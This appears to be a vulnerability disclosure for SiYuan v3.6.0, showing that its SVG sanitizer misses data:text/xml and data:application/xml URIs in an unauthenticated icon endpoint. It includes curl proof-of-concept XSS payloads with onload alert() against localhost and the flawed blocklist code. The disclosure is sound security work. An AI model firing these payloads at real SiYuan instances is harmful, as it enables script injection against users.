SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)

SanitizeSVG blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml. Both render SVG with onload JavaScript execution (confirmed in Chromium 136, other browsers untested).

/api/icon/getDynamicIcon is unauthenticated and serves SVG as Content-Type: image/svg+xml. The content parameter (type=8) gets embedded into the SVG via fmt.Sprintf with no escaping. The sanitizer catches data:text/html but data:text/xml passes the blocklist -- only three MIME types are checked.

This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via <img> tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or <object>/<embed> embedding.

Steps to reproduce

Against SiYuan v3.6.0 (Docker):

# 1. data:text/xml bypass -- <a> element preserved with href intact
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">

# 2. data:text/html is correctly blocked -- href stripped
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a>  (href removed)

# 3. data:application/xml also bypasses
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:application/xml,...">  (href preserved)

JS execution confirmed in Chromium 136 -- data:text/xml SVG onload fires and posts a message to the parent window via iframe test.

Vulnerable code

kernel/util/misc.go lines 289-293:

if strings.HasPrefix(val, "data:") {
    if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") {
        continue
    }
}